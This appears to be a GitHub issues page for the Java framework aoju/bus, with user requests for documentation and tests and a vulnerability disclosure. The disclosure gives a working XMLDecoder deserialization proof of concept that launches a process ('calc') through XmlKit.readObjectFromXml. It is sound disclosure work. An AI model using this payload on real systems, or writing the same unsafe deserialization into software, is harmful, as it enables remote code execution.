aoju/bus

Bus 是一个基础框架、服务套件，它基于Java8编写，参考、借鉴了大量已有框架、组件的设计，可以作为后端服务的开发基础中间件。代码简洁，架构清晰，非常适合学习使用。

bus's Issues

会出部署文档吗?

有没有计划出部署文档

建议加上test

作者整理的挺好的，但是如果能加上test，对于使用者来说就容易上手一些。

Remote Code Execution caused by XmlUtils.readObjectFromXml() via untrusted XML String

Description

bus-core provides XML utility classes that may be vulnerable to remote code execution when using XmlKit.readObjectFromXml() to interpret untrusted XML strings.

---

Detail

The program will call XMLDecoder.readObject to parse the XML string, causing a deserialization vulnerability.

---

Version

<= 8.0.0

---

POC

    import org.aoju.bus.core.toolkit.XmlKit;
    import org.xml.sax.InputSource;
    
    import java.io.StringReader;
    
    public class MyTest {
    
        private static final String XML_STR = "<java>\n" +
            "    <object class=\"java.lang.ProcessBuilder\">\n" +
            "        <array class=\"java.lang.String\" length=\"1\">\n" +
            "            <void index=\"0\">\n" +
            "                <string>calc</string>\n" +
            "            </void>\n" +
            "        </array>\n" +
            "        <void method=\"start\"></void>\n" +
            "    </object>\n" +
            "</java>\n";
    
        public static void main(String[] args) {
            XmlKit.readObjectFromXml(new InputSource(new StringReader(XML_STR)));
        }
    }

---

Attack

太强了，就是太基础，坐等微服务组件